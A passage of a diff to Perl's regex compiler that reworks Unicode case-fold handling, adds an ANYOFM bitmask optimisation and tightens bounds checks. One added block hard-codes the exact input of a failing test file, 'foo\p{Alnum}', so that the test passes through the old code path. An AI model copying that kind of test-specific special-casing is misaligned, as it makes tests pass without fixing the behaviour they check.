-     * XXX It would be better to generate these via regen, in case a new
-     * version of the Unicode standard adds new mappings, though that is not
-     * really likely, and may be caught by the default: case of the switch
-     * below. */
+     * specially. */
 
     PERL_ARGS_ASSERT_ADD_ABOVE_LATIN1_FOLDS;
 
     assert(HAS_NONLATIN1_SIMPLE_FOLD_CLOSURE(cp));
 
+    /* The rules that are valid for all Unicode versions are hard-coded in */
     switch (cp) {
         case 'k':
         case 'K':
@@ -15638,36 +16140,54 @@
                                         LATIN_CAPITAL_LETTER_Y_WITH_DIAERESIS);
             break;
 
-#ifdef LATIN_CAPITAL_LETTER_SHARP_S /* not defined in early Unicode releases */
+        default:    /* Other code points are checked against the data for the
+                       current Unicode version */
+          {
+            Size_t folds_to_count;
+            unsigned int first_folds_to;
+            const unsigned int * remaining_folds_to_list;
+            UV folded_cp;
 
-        case LATIN_SMALL_LETTER_SHARP_S:
-          *invlist = add_cp_to_invlist(*invlist, LATIN_CAPITAL_LETTER_SHARP_S);
-            break;
+            if (isASCII(cp)) {
+                folded_cp = toFOLD(cp);
+            }
+            else {
+                U8 dummy_fold[UTF8_MAXBYTES_CASE+1];
+                Size_t dummy_len;
+                folded_cp = _to_fold_latin1(cp, dummy_fold, &dummy_len, 0);
+            }
 
-#endif
+            if (folded_cp > 255) {
+                *invlist = add_cp_to_invlist(*invlist, folded_cp);
+            }
 
-#if    UNICODE_MAJOR_VERSION < 3                                        \
-   || (UNICODE_MAJOR_VERSION == 3 && UNICODE_DOT_VERSION == 0)
+            folds_to_count = _inverse_folds(folded_cp, &first_folds_to,
+                                                    &remaining_folds_to_list);
+            if (folds_to_count == 0) {
 
-        /* In 3.0 and earlier, U+0130 folded simply to 'i'; and in 3.0.1 so did
-         * U+0131.  */
-        case 'i':
-        case 'I':
-          *invlist =
-             add_cp_to_invlist(*invlist, LATIN_CAPITAL_LETTER_I_WITH_DOT_ABOVE);
-#   if UNICODE_DOT_DOT_VERSION == 1
-          *invlist = add_cp_to_invlist(*invlist, LATIN_SMALL_LETTER_DOTLESS_I);
-#   endif
-            break;
-#endif
+                /* Use deprecated warning to increase the chances of this being
+                 * output */
+                if (PASS2) {
+                    ckWARN2reg_d(RExC_parse,
+                        "Perl folding rules are not up-to-date for 0x%02X;"
+                        " please use the perlbug utility to report;", cp);
+                }
+            }
+            else {
+                unsigned int i;
 
-        default:
-            /* Use deprecated warning to increase the chances of this being
-             * output */
-            if (PASS2) {
-                ckWARN2reg_d(RExC_parse, "Perl folding rules are not up-to-date for 0x%02X; please use the perlbug utility to report;", cp);
+                if (first_folds_to > 255) {
+                    *invlist = add_cp_to_invlist(*invlist, first_folds_to);
+                }
+                for (i = 0; i < folds_to_count - 1; i++) {
+                    if (remaining_folds_to_list[i] > 255) {
+                        *invlist = add_cp_to_invlist(*invlist,
+                                                    remaining_folds_to_list[i]);
+                    }
+                }
             }
             break;
+         }
     }
 }
 
@@ -16081,6 +16601,12 @@
                         do_posix_warnings ? &posix_warnings : NULL,
                         TRUE /* checking only */);
         }
+        else if (  strict && ! skip_white
+                 && (   _generic_isCC(value, _CC_VERTSPACE)
+                     || is_VERTWS_cp_high(value)))
+        {
+            vFAIL("Literal vertical space in [] is illegal except under /x");
+        }
         else if (value == '\\') {
             /* Is a backslash; get the code point of the char after it */
 
@@ -16135,9 +16661,9 @@
 
                         if (*flagp & NEED_UTF8)
                             FAIL("panic: grok_bslash_N set NEED_UTF8");
-                        if (*flagp & RESTART_PASS1)
-                            return NULL;
 
+                        RETURN_NULL_ON_RESTART_FLAGP(flagp);
+
                         if (cp_count < 0) {
                             vFAIL("\\N in a character class must be a named character: \\N{...}");
                         }
@@ -16188,7 +16714,9 @@
 	    case 'P':
 		{
 		char *e;
+                char *i;
 
+
                 /* We will handle any undefined properties ourselves */
                 U8 swash_init_flags = _CORE_SWASH_INIT_RETURN_IF_UNDEF
                                        /* And we actually would prefer to get
@@ -16197,11 +16725,12 @@
                                         * anyway, to save a little time */
                                       |_CORE_SWASH_INIT_ACCEPT_INVLIST;
 
+                SvREFCNT_dec(swash); /* Free any left-overs */
 		if (RExC_parse >= RExC_end)
 		    vFAIL2("Empty \\%c", (U8)value);
 		if (*RExC_parse == '{') {
 		    const U8 c = (U8)value;
-		    e = strchr(RExC_parse, '}');
+		    e = (char *) memchr(RExC_parse, '}', RExC_end - RExC_parse);
                     if (!e) {
                         RExC_parse++;
                         vFAIL2("Missing right brace on \\%c{}", c);
@@ -16231,6 +16760,7 @@
 		    n = e - RExC_parse;
 		    while (isSPACE(*(RExC_parse + n - 1)))
 		        n--;
+
 		}   /* The \p isn't immediately followed by a '{' */
 		else if (! isALPHA(*RExC_parse)) {
                     RExC_parse += (UTF) ? UTF8SKIP(RExC_parse) : 1;
@@ -16243,12 +16773,31 @@
 		    n = 1;
 		}
 		if (!SIZE_ONLY) {
-                    SV* invlist;
-                    char* name;
+                    char* name = RExC_parse;
                     char* base_name;    /* name after any packages are stripped */
                     char* lookup_name = NULL;
                     const char * const colon_colon = "::";
+                    bool invert;
 
+                    SV* invlist;
+
+                    /* Temporary workaround for [perl #133136].  For this
+                     * precise input that is in the .t that is failing, use the
+                     * old method so that that .t passes */
+                    if (memEQs(RExC_start, e + 1 - RExC_start, "foo\\p{Alnum}"))
+                    {
+                        invlist = NULL;
+                    }
+                    else {
+                        invlist = parse_uniprop_string(name, n, FOLD, &invert);
+                    }
+                    if (invlist) {
+                        if (invert) {
+                            value ^= 'P' ^ 'p';
+                        }
+                    }
+                    else {
+
                     /* Try to get the definition of the property into
                      * <invlist>.  If /i is in effect, the effective property
                      * will have its name be <__NAME_i>.  The design is
@@ -16256,6 +16805,14 @@
                      * 2f833f5208e26b208886e51e09e2c072b5eabb46 */
                     name = savepv(Perl_form(aTHX_ "%.*s", (int)n, RExC_parse));
                     SAVEFREEPV(name);
+
+                    for (i = RExC_parse; i < RExC_parse + n; i++) {
+                        if (isCNTRL(*i) && *i != '\t') {
+                            RExC_parse = e + 1;
+                            vFAIL2("Can't find Unicode property definition \"%s\"", name);
+                        }
+                    }
+
                     if (FOLD) {
                         lookup_name = savepv(Perl_form(aTHX_ "__%s_i", name));
 
@@ -16266,7 +16823,6 @@
 
                     /* Look up the property name, and get its swash and
                      * inversion list, if the property is found  */
-                    SvREFCNT_dec(swash); /* Free any left-overs */
                     swash = _core_swash_init("utf8",
                                              (lookup_name)
                                               ? lookup_name
@@ -16333,7 +16889,7 @@
                          * referred to outside it. [perl #121777] */
                         if (! has_pkg && curpkg) {
                             char* pkgname = HvNAME(curpkg);
-                            if (strNE(pkgname, "main")) {
+                            if (memNEs(pkgname, HvNAMELEN(curpkg), "main")) {
                                 char* full_name = Perl_form(aTHX_
                                                             "%s::%s",
                                                             pkgname,
@@ -16366,7 +16922,10 @@
                         {
                             has_user_defined_property = TRUE;
                         }
-                        else if
+                    }
+                    }
+                    if (invlist) {
+                        if (! has_user_defined_property &&
                             /* We warn on matching an above-Unicode code point
                              * if the match would return true, except don't
                              * warn for \p{All}, which has exactly one element
@@ -16373,12 +16932,11 @@
                              * = 0 */
                             (_invlist_contains_cp(invlist, 0x110000)
                                 && (! (_invlist_len(invlist) == 1
-                                       && *invlist_array(invlist) == 0)))
+                                       && *invlist_array(invlist) == 0))))
                         {
                             warn_super = TRUE;
                         }
 
-
                         /* Invert if asking for the complement */
                         if (value == 'P') {
 			    _invlist_union_complement_2nd(properties,
@@ -16388,14 +16946,20 @@
                             /* The swash can't be used as-is, because we've
 			     * inverted things; delay removing it to here after
 			     * have copied its invlist above */
-                            SvREFCNT_dec_NN(swash);
+                            if (! swash) {
+                                SvREFCNT_dec_NN(invlist);
+                            }
+                            SvREFCNT_dec(swash);
                             swash = NULL;
                         }
                         else {
                             _invlist_union(properties, invlist, &properties);
+                            if (! swash) {
+                                SvREFCNT_dec_NN(invlist);
+                            }
 			}
-		    }
-		}
+                    }
+                }
 		RExC_parse = e + 1;
                 namedclass = ANYOF_UNIPROP;  /* no official name, but it's
                                                 named */
@@ -16416,6 +16980,7 @@
 		{
 		    const char* error_msg;
 		    bool valid = grok_bslash_o(&RExC_parse,
+                                               RExC_end,
 					       &value,
 					       &error_msg,
                                                PASS2,   /* warnings only in
@@ -16434,6 +16999,7 @@
 		{
 		    const char* error_msg;
 		    bool valid = grok_bslash_x(&RExC_parse,
+                                               RExC_end,
 					       &value,
 					       &error_msg,
 					       PASS2, /* Output warnings */
@@ -16784,7 +17350,7 @@
             {
                 /* Here <value> is indeed a multi-char fold.  Get what it is */
 
-                U8 foldbuf[UTF8_MAXBYTES_CASE];
+                U8 foldbuf[UTF8_MAXBYTES_CASE+1];
                 STRLEN foldlen;
 
                 UV folded = _to_uni_fold_flags(
@@ -16859,7 +17425,7 @@
                                           " be some subset of \"0-9\","
                                           " \"A-Z\", or \"a-z\"");
                     }
-                    else if (prevvalue >= 0x660) { /* ARABIC_INDIC_DIGIT_ZERO */
+                    else if (prevvalue >= FIRST_NON_ASCII_DECIMAL_DIGIT) {
                         SSize_t index_start;
                         SSize_t index_final;
 
@@ -16867,8 +17433,7 @@
                          * can't do the same checks for above-ASCII ranges,
                          * except in the case of digit ones.  These should
                          * contain only digits from the same group of 10.  The
-                         * ASCII case is handled just above.  0x660 is the
-                         * first digit character beyond ASCII.  Hence here, the
+                         * ASCII case is handled just above.  Hence here, the
                          * range could be a range of digits.  First some
                          * unlikely special cases.  Grandfather in that a range
                          * ending in 19DA (NEW TAI LUE THAM DIGIT ONE) is bad
@@ -17104,7 +17669,7 @@
 
 	ret = reg(pRExC_state, 1, &reg_flags, depth+1);
 
-	*flagp |= reg_flags&(HASWIDTH|SIMPLE|SPSTART|POSTPONED|RESTART_PASS1|NEED_UTF8);
+        *flagp |= reg_flags & (HASWIDTH|SIMPLE|SPSTART|POSTPONED|RESTART_PASS1|NEED_UTF8);
 
         /* And restore so can parse the rest of the pattern */
         RExC_parse = save_parse;
@@ -17162,14 +17727,20 @@
                 /* The actual POSIXish node for all the rest depends on the
                  * charset modifier.  The ones in the first set depend only on
                  * ASCII or, if available on this platform, also locale */
+
                 case ANYOF_ASCII:
                 case ANYOF_NASCII:
+
 #ifdef HAS_ISASCII
-                    op = (LOC) ? POSIXL : POSIXA;
-#else
-                    op = POSIXA;
+                    if (LOC) {
+                        op = POSIXL;
+                        goto join_posix;
+                    }
 #endif
-                    goto join_posix;
+                    /* (named_class - ANYOF_ASCII) is 0 or 1. xor'ing with
+                     * invert converts that to 1 or 0 */
+                    op = ASCII + ((namedclass - ANYOF_ASCII) ^ invert);
+                    break;
 
                 /* The following don't have any matches in the upper Latin1
                  * range, hence /d is equivalent to /u for them.  Making it /u
@@ -17311,6 +17882,9 @@
                                            TRUE /* downgradable to EXACT */
                                            );
             }
+            else {
+                *flagp |= HASWIDTH|SIMPLE;
+            }
 
             RExC_parse = (char *) cur_parse;
 
@@ -17354,27 +17928,20 @@
             _invlist_intersection(PL_utf8_foldable, cp_foldable_list,
                                   &fold_intersection);
 
-            /* The folds for all the Latin1 characters are hard-coded into this
-             * program, but we have to go out to disk to get the others. */
-            if (invlist_highest(cp_foldable_list) >= 256) {
-
-                /* This is a hash that for a particular fold gives all
-                 * characters that are involved in it */
-                if (! PL_utf8_foldclosures) {
-                    _load_PL_utf8_foldclosures();
-                }
-            }
-
             /* Now look at the foldable characters in this class individually */
             invlist_iterinit(fold_intersection);
             while (invlist_iternext(fold_intersection, &start, &end)) {
                 UV j;
+                UV folded;
 
                 /* Look at every character in the range */
                 for (j = start; j <= end; j++) {
                     U8 foldbuf[UTF8_MAXBYTES_CASE+1];
                     STRLEN foldlen;
-                    SV** listp;
+                    unsigned int k;
+                    Size_t folds_to_count;
+                    unsigned int first_folds_to;
+                    const unsigned int * remaining_folds_to_list;
 
                     if (j < 256) {
 
@@ -17409,58 +17976,52 @@
                      * rules hard-coded for it.  First, get its fold.  This is
                      * the simple fold, as the multi-character folds have been
                      * handled earlier and separated out */
-                    _to_uni_fold_flags(j, foldbuf, &foldlen,
+                    folded = _to_uni_fold_flags(j, foldbuf, &foldlen,
                                                         (ASCII_FOLD_RESTRICTED)
                                                         ? FOLD_FLAGS_NOMIX_ASCII
                                                         : 0);
 
-                    /* Single character fold of above Latin1.  Add everything in
-                    * its fold closure to the list that this node should match.
-                    * The fold closures data structure is a hash with the keys
-                    * being the UTF-8 of every character that is folded to, like
-                    * 'k', and the values each an array of all code points that
-                    * fold to its key.  e.g. [ 'k', 'K', KELVIN_SIGN ].
-                    * Multi-character folds are not included */
-                    if ((listp = hv_fetch(PL_utf8_foldclosures,
-                                        (char *) foldbuf, foldlen, FALSE)))
-                    {
-                        AV* list = (AV*) *listp;
-                        IV k;
-                        for (k = 0; k <= av_tindex_skip_len_mg(list); k++) {
-                            SV** c_p = av_fetch(list, k, FALSE);
-                            UV c;
-                            assert(c_p);
+                    /* Single character fold of above Latin1.  Add everything
+                     * in its fold closure to the list that this node should
+                     * match. */
+                    folds_to_count = _inverse_folds(folded, &first_folds_to,
+                                                    &remaining_folds_to_list);
+                    for (k = 0; k <= folds_to_count; k++) {
+                        UV c = (k == 0)     /* First time through use itself */
+                                ? folded
+                                : (k == 1)  /* 2nd time use, the first fold */
+                                   ? first_folds_to
 
-                            c = SvUV(*c_p);
+                                     /* Then the remaining ones */
+                                   : remaining_folds_to_list[k-2];
 
-                            /* /aa doesn't allow folds between ASCII and non- */
-                            if ((ASCII_FOLD_RESTRICTED
-                                && (isASCII(c) != isASCII(j))))
-                            {
-                                continue;
-                            }
+                        /* /aa doesn't allow folds between ASCII and non- */
+                        if ((   ASCII_FOLD_RESTRICTED
+                            && (isASCII(c) != isASCII(j))))
+                        {
+                            continue;
+                        }
 
-                            /* Folds under /l which cross the 255/256 boundary
-                             * are added to a separate list.  (These are valid
-                             * only when the locale is UTF-8.) */
-                            if (c < 256 && LOC) {
-                                *use_list = add_cp_to_invlist(*use_list, c);
-                                continue;
-                            }
+                        /* Folds under /l which cross the 255/256 boundary are
+                         * added to a separate list.  (These are valid only
+                         * when the locale is UTF-8.) */
+                        if (c < 256 && LOC) {
+                            *use_list = add_cp_to_invlist(*use_list, c);
+                            continue;
+                        }
 
-                            if (isASCII(c) || c > 255 || AT_LEAST_UNI_SEMANTICS)
-                            {
-                                cp_list = add_cp_to_invlist(cp_list, c);
-                            }
-                            else {
-                                /* Similarly folds involving non-ascii Latin1
-                                * characters under /d are added to their list */
-                                has_upper_latin1_only_utf8_matches
-                                        = add_cp_to_invlist(
-                                           has_upper_latin1_only_utf8_matches,
-                                           c);
-                            }
+                        if (isASCII(c) || c > 255 || AT_LEAST_UNI_SEMANTICS)
+                        {
+                            cp_list = add_cp_to_invlist(cp_list, c);
                         }
+                        else {
+                            /* Similarly folds involving non-ascii Latin1
+                             * characters under /d are added to their list */
+                            has_upper_latin1_only_utf8_matches
+                                = add_cp_to_invlist(
+                                            has_upper_latin1_only_utf8_matches,
+                                            c);
+                        }
                     }
                 }
             }
@@ -17575,6 +18136,7 @@
                 if (_invlist_len(only_non_utf8_list) != 0) {
                     ANYOF_FLAGS(ret) |= ANYOF_SHARED_d_MATCHES_ALL_NON_UTF8_NON_ASCII_non_d_WARN_SUPER;
                 }
+                SvREFCNT_dec_NN(only_non_utf8_list);
             }
             else {
                 /* Here there were no complemented posix classes.  That means
@@ -17761,19 +18323,12 @@
      * certain common classes that are easy to test.  Getting to this point in
      * the code means that the class didn't get optimized there.  Since this
      * code is only executed in Pass 2, it is too late to save space--it has
-     * been allocated in Pass 1, and currently isn't given back.  But turning
-     * things into an EXACTish node can allow the optimizer to join it to any
-     * adjacent such nodes.  And if the class is equivalent to things like /./,
-     * expensive run-time swashes can be avoided.  Now that we have more
-     * complete information, we can find things necessarily missed by the
-     * earlier code.  Another possible "optimization" that isn't done is that
-     * something like [Ee] could be changed into an EXACTFU.  khw tried this
-     * and found that the ANYOF is faster, including for code points not in the
-     * bitmap.  This still might make sense to do, provided it got joined with
-     * an adjacent node(s) to create a longer EXACTFU one.  This could be
-     * accomplished by creating a pseudo ANYOF_EXACTFU node type that the join
-     * routine would know is joinable.  If that didn't happen, the node type
-     * could then be made a straight ANYOF */
+     * been allocated in Pass 1, and currently isn't given back.  XXX Why not?
+     * But turning things into an EXACTish node can allow the optimizer to join
+     * it to any adjacent such nodes.  And if the class is equivalent to things
+     * like /./, expensive run-time swashes can be avoided.  Now that we have
+     * more complete information, we can find things necessarily missed by the
+     * earlier code. */
 
     if (optimizable && cp_list && ! invert) {
         UV start, end;
@@ -17780,6 +18335,8 @@
         U8 op = END;  /* The optimzation node-type */
         int posix_class = -1;   /* Illegal value */
         const char * cur_parse= RExC_parse;
+        U8 ANYOFM_mask = 0xFF;
+        U32 anode_arg = 0;
 
         invlist_iterinit(cp_list);
         if (! invlist_iternext(cp_list, &start, &end)) {
@@ -17862,29 +18419,45 @@
         invlist_iterfinish(cp_list);
 
         if (op == END) {
-            const UV cp_list_len = _invlist_len(cp_list);
-            const UV* cp_list_array = invlist_array(cp_list);
 
             /* Here, didn't find an optimization.  See if this matches any of
-             * the POSIX classes.  These run slightly faster for above-Unicode
-             * code points, so don't bother with POSIXA ones nor the 2 that
-             * have no above-Unicode matches.  We can avoid these checks unless
-             * the ANYOF matches at least as high as the lowest POSIX one
-             * (which was manually found to be \v.  The actual code point may
-             * increase in later Unicode releases, if a higher code point is
-             * assigned to be \v, but this code will never break.  It would
-             * just mean we could execute the checks for posix optimizations
-             * unnecessarily) */
+             * the POSIX classes.  First try ASCII */
 
-            if (cp_list_array[cp_list_len-1] > 0x2029) {
+            if (_invlistEQ(cp_list, PL_XPosix_ptrs[_CC_ASCII], 0)) {
+                op = ASCII;
+                *flagp |= HASWIDTH|SIMPLE;
+            }
+            else if (_invlistEQ(cp_list, PL_XPosix_ptrs[_CC_ASCII], 1)) {
+                op = NASCII;
+                *flagp |= HASWIDTH|SIMPLE;
+            }
+            else if (invlist_highest(cp_list) >= 0x2029) {
+
+                /* Then try the other POSIX classes.  The POSIXA ones are about
+                 * the same speed as ANYOF ops, but the ones that have
+                 * above-Latin1 code point matches are somewhat faster than
+                 * ANYOF.  So optimize those, but don't bother with the POSIXA
+                 * ones nor [:cntrl:] which has no above-Latin1 matches.  If
+                 * this ANYOF node has a lower highest possible matching code
+                 * point than any of the XPosix ones, we know that it can't
+                 * possibly be the same as any of them, so we can avoid
+                 * executing this code.  The 0x2029 above for the lowest max
+                 * was determined by manual inspection of the classes, and
+                 * comes from \v.  Suppose Unicode in a later version adds a
+                 * higher code point to \v.  All that means is that this code
+                 * can be executed unnecessarily.  It will still give the
+                 * correct answer. */
+
                 for (posix_class = 0;
                      posix_class <= _HIGHEST_REGCOMP_DOT_H_SYNC;
                      posix_class++)
                 {
                     int try_inverted;
-                    if (posix_class == _CC_ASCII || posix_class == _CC_CNTRL) {
+
+                    if (posix_class == _CC_CNTRL) {
                         continue;
                     }
+
                     for (try_inverted = 0; try_inverted < 2; try_inverted++) {
 
                         /* Check if matches normal or inverted */
@@ -17902,6 +18475,106 @@
                 }
               found_posix: ;
             }
+
+            /* If it didn't match a POSIX class, it might be able to be turned
+             * into an ANYOFM node.  Compare two different bytes, bit-by-bit.
+             * In some positions, the bits in each will be 1; and in other
+             * positions both will be 0; and in some positions the bit will be
+             * 1 in one byte, and 0 in the other.  Let 'n' be the number of
+             * positions where the bits differ.  We create a mask which has
+             * exactly 'n' 0 bits, each in a position where the two bytes
+             * differ.  Now take the set of all bytes that when ANDed with the
+             * mask yield the same result.  That set has 2**n elements, and is
+             * representable by just two 8 bit numbers: the result and the
+             * mask.  Importantly, matching the set can be vectorized by
+             * creating a word full of the result bytes, and a word full of the
+             * mask bytes, yielding a significant speed up.  Here, see if this
+             * node matches such a set.  As a concrete example consider [01],
+             * and the byte representing '0' which is 0x30 on ASCII machines.
+             * It has the bits 0011 0000.  Take the mask 1111 1110.  If we AND
+             * 0x31 and 0x30 with that mask we get 0x30.  Any other bytes ANDed
+             * yield something else.  So [01], which is a common usage, is
+             * optimizable into ANYOFM, and can benefit from the speed up.  We
+             * can only do this on UTF-8 invariant bytes, because the variance
+             * would throw this off.  */
+            if (   op == END
+                && invlist_highest(cp_list) <=
+#ifdef EBCDIC
+                                               0xFF
+#else
+                                               0x7F
+#endif
+            ) {
+                Size_t cp_count = 0;
+                bool first_time = TRUE;
+                unsigned int lowest_cp = 0xFF;
+                U8 bits_differing = 0;
+
+                /* Only needed on EBCDIC, as there, variants and non- are mixed
+                 * together.  Could #ifdef it out on ASCII, but probably the
+                 * compiler will optimize it out */
+                bool has_variant = FALSE;
+
+                /* Go through the bytes and find the bit positions that differ */
+                invlist_iterinit(cp_list);
+                while (invlist_iternext(cp_list, &start, &end)) {
+                    unsigned int i = start;
+
+                    cp_count += end - start + 1;
+
+                    if (first_time) {
+                        if (! UVCHR_IS_INVARIANT(i)) {
+                            has_variant = TRUE;
+                            continue;
+                        }
+
+                        first_time = FALSE;
+                        lowest_cp = start;
+
+                        i++;
+                    }
+
+                    /* Find the bit positions that differ from the lowest code
+                     * point in the node.  Keep track of all such positions by
+                     * OR'ing */
+                    for (; i <= end; i++) {
+                        if (! UVCHR_IS_INVARIANT(i)) {
+                            has_variant = TRUE;
+                            continue;
+                        }
+
+                        bits_differing  |= i ^ lowest_cp;
+                    }
+                }
+                invlist_iterfinish(cp_list);
+
+                /* At the end of the loop, we count how many bits differ from
+                 * the bits in lowest code point, call the count 'd'.  If the
+                 * set we found contains 2**d elements, it is the closure of
+                 * all code points that differ only in those bit positions.  To
+                 * convince yourself of that, first note that the number in the
+                 * closure must be a power of 2, which we test for.  The only
+                 * way we could have that count and it be some differing set,
+                 * is if we got some code points that don't differ from the
+                 * lowest code point in any position, but do differ from each
+                 * other in some other position.  That means one code point has
+                 * a 1 in that position, and another has a 0.  But that would
+                 * mean that one of them differs from the lowest code point in
+                 * that position, which possibility we've already excluded. */
+                if ( ! has_variant
+                    && cp_count == 1U << PL_bitcount[bits_differing])
+                {
+                    assert(cp_count > 1);
+                    op = ANYOFM;
+
+                    /* We need to make the bits that differ be 0's */
+                    ANYOFM_mask = ~ bits_differing; /* This goes into FLAGS */
+
+                    /* The argument is the lowest code point */
+                    anode_arg = lowest_cp;
+                    *flagp |= HASWIDTH|SIMPLE;
+                }
+            }
         }
 
         if (op != END) {
@@ -17909,7 +18582,7 @@
             RExC_emit = (regnode *)orig_emit;
 
             if (regarglen[op]) {
-                ret = reganode(pRExC_state, op, 0);
+                ret = reganode(pRExC_state, op, anode_arg);
             } else {
                 ret = reg_node(pRExC_state, op);
             }
@@ -17924,6 +18597,9 @@
             else if (PL_regkind[op] == POSIXD || PL_regkind[op] == NPOSIXD) {
                 FLAGS(ret) = posix_class;
             }
+            else if (PL_regkind[op] == ANYOFM) {
+                FLAGS(ret) = ANYOFM_mask;
+            }
 
             SvREFCNT_dec_NN(cp_list);
             return ret;
@@ -18531,6 +19207,7 @@
 * if (PASS2)
 *     NEXT_OFF(orig_emit) = regarglen[OPFAIL] + NODE_STEP_REGNODE;
 *
+* ALSO NOTE - operand->flags will be set to 0 as well.
 */
 STATIC void
 S_reginsert(pTHX_ RExC_state_t *pRExC_state, U8 op, regnode *operand, U32 depth)
@@ -18604,7 +19281,6 @@
 #endif
     }
 
-
     place = operand;		/* Op node, where operand used to be. */
 #ifdef RE_TRACK_PATTERN_OFFSETS
     if (RExC_offsets) {         /* MJD */
@@ -18623,6 +19299,7 @@
     }
 #endif
     src = NEXTOPER(place);
+    place->flags = 0;
     FILL_ADVANCE_NODE(place, op);
     Zero(src, offset, regnode);
 }
@@ -18726,8 +19403,8 @@
                 case EXACT:
                 case EXACTL:
                 case EXACTF:
-                case EXACTFA_NO_TRIE:
-                case EXACTFA:
+                case EXACTFAA_NO_TRIE:
+                case EXACTFAA:
                 case EXACTFU:
                 case EXACTFLU8:
                 case EXACTFU_SS:
@@ -18775,6 +19452,36 @@
 }
 #endif
 
+STATIC SV*
+S_get_ANYOFM_contents(pTHX_ const regnode * n) {
+
+    /* Returns an inversion list of all the code points matched by the ANYOFM
+     * node 'n' */
+
+    SV * cp_list = _new_invlist(-1);
+    const U8 lowest = (U8) ARG(n);
+    unsigned int i;
+    U8 count = 0;
+    U8 needed = 1U << PL_bitcount[ (U8) ~ FLAGS(n)];
+
+    PERL_ARGS_ASSERT_GET_ANYOFM_CONTENTS;
+
+    /* Starting with the lowest code point, any code point that ANDed with the
+     * mask yields the lowest code point is in the set */
+    for (i = lowest; i <= 0xFF; i++) {
+        if ((i & FLAGS(n)) == ARG(n)) {
+            cp_list = add_cp_to_invlist(cp_list, i);
+            count++;
+
+            /* We know how many code points (a power of two) that are in the
+             * set.  No use looking once we've got that number */
+            if (count >= needed) break;
+        }
+    }
+
+    return cp_list;
+}
+
 /*
  - regdump - dump a regexp onto Perl_debug_log in vaguely comprehensible form
  */
@@ -18857,6 +19564,7 @@
 Perl_regdump(pTHX_ const regexp *r)
 {
 #ifdef DEBUGGING
+    int i;
     SV * const sv = sv_newmortal();
     SV *dsv= sv_newmortal();
     RXi_GET_DECL(r,ri);
@@ -18867,41 +19575,40 @@
     (void)dumpuntil(r, ri->program, ri->program + 1, NULL, NULL, sv, 0, 0);
 
     /* Header fields of interest. */
-    if (r->anchored_substr) {
-	RE_PV_QUOTED_DECL(s, 0, dsv, SvPVX_const(r->anchored_substr),
-	    RE_SV_DUMPLEN(r->anchored_substr), 30);
-        Perl_re_printf( aTHX_
-		      "anchored %s%s at %" IVdf " ",
-		      s, RE_SV_TAIL(r->anchored_substr),
-		      (IV)r->anchored_offset);
-    } else if (r->anchored_utf8) {
-	RE_PV_QUOTED_DECL(s, 1, dsv, SvPVX_const(r->anchored_utf8),
-	    RE_SV_DUMPLEN(r->anchored_utf8), 30);
-        Perl_re_printf( aTHX_
-		      "anchored utf8 %s%s at %" IVdf " ",
-		      s, RE_SV_TAIL(r->anchored_utf8),
-		      (IV)r->anchored_offset);
+    for (i = 0; i < 2; i++) {
+        if (r->substrs->data[i].substr) {
+            RE_PV_QUOTED_DECL(s, 0, dsv,
+                            SvPVX_const(r->substrs->data[i].substr),
+                            RE_SV_DUMPLEN(r->substrs->data[i].substr),
+                            PL_dump_re_max_len);
+            Perl_re_printf( aTHX_
+                          "%s %s%s at %" IVdf "..%" UVuf " ",
+                          i ? "floating" : "anchored",
+                          s,
+                          RE_SV_TAIL(r->substrs->data[i].substr),
+                          (IV)r->substrs->data[i].min_offset,
+                          (UV)r->substrs->data[i].max_offset);
+        }
+        else if (r->substrs->data[i].utf8_substr) {
+            RE_PV_QUOTED_DECL(s, 1, dsv,
+                            SvPVX_const(r->substrs->data[i].utf8_substr),
+                            RE_SV_DUMPLEN(r->substrs->data[i].utf8_substr),
+                            30);
+            Perl_re_printf( aTHX_
+                          "%s utf8 %s%s at %" IVdf "..%" UVuf " ",
+                          i ? "floating" : "anchored",
+                          s,
+                          RE_SV_TAIL(r->substrs->data[i].utf8_substr),
+                          (IV)r->substrs->data[i].min_offset,
+                          (UV)r->substrs->data[i].max_offset);
+        }
     }
-    if (r->float_substr) {
-	RE_PV_QUOTED_DECL(s, 0, dsv, SvPVX_const(r->float_substr),
-	    RE_SV_DUMPLEN(r->float_substr), 30);
-        Perl_re_printf( aTHX_
-		      "floating %s%s at %" IVdf "..%" UVuf " ",
-		      s, RE_SV_TAIL(r->float_substr),
-		      (IV)r->float_min_offset, (UV)r->float_max_offset);
-    } else if (r->float_utf8) {
-	RE_PV_QUOTED_DECL(s, 1, dsv, SvPVX_const(r->float_utf8),
-	    RE_SV_DUMPLEN(r->float_utf8), 30);
-        Perl_re_printf( aTHX_
-		      "floating utf8 %s%s at %" IVdf "..%" UVuf " ",
-		      s, RE_SV_TAIL(r->float_utf8),
-		      (IV)r->float_min_offset, (UV)r->float_max_offset);
-    }
+
     if (r->check_substr || r->check_utf8)
         Perl_re_printf( aTHX_
 		      (const char *)
-		      (r->check_substr == r->float_substr
-		       && r->check_utf8 == r->float_utf8
+		      (   r->check_substr == r->substrs->data[1].substr
+		       && r->check_utf8   == r->substrs->data[1].utf8_substr
 		       ? "(checking floating" : "(checking anchored"));
     if (r->intflags & PREGf_NOSCAN)
         Perl_re_printf( aTHX_  " noscan");
@@ -19023,7 +19730,8 @@
 	 * is a crude hack but it may be the best for now since
 	 * we have no flag "this EXACTish node was UTF-8"
 	 * --jhi */
-	pv_pretty(sv, STRING(o), STR_LEN(o), 60, PL_colors[0], PL_colors[1],
+	pv_pretty(sv, STRING(o), STR_LEN(o), PL_dump_re_max_len,
+                  PL_colors[0], PL_colors[1],
 		  PERL_PV_ESCAPE_UNI_DETECT |
 		  PERL_PV_ESCAPE_NONASCII   |
 		  PERL_PV_PRETTY_ELLIPSES   |
@@ -19116,7 +19824,7 @@
         if ( k == REF && reginfo) {
             U32 n = ARG(o);  /* which paren pair */
             I32 ln = prog->offs[n].start;
-            if (prog->lastparen < n || ln == -1)
+            if (prog->lastparen < n || ln == -1 || prog->offs[n].end == -1)
                 Perl_sv_catpvf(aTHX_ sv, ": FAIL");
             else if (ln == prog->offs[n].end)
                 Perl_sv_catpvf(aTHX_ sv, ": ACCEPT - EMPTY STRING");
@@ -19247,7 +19955,7 @@
             SV* contents;
 
             /* See if truncation size is overridden */
-            const STRLEN dump_len = (PL_dump_re_max_len)
+            const STRLEN dump_len = (PL_dump_re_max_len > 256)
                                     ? PL_dump_re_max_len
                                     : 256;
 
@@ -19300,6 +20008,15 @@
 
         SvREFCNT_dec(unresolved);
     }
+    else if (k == ANYOFM) {
+        SV * cp_list = get_ANYOFM_contents(o);
+
+	Perl_sv_catpvf(aTHX_ sv, "[%s", PL_colors[0]);
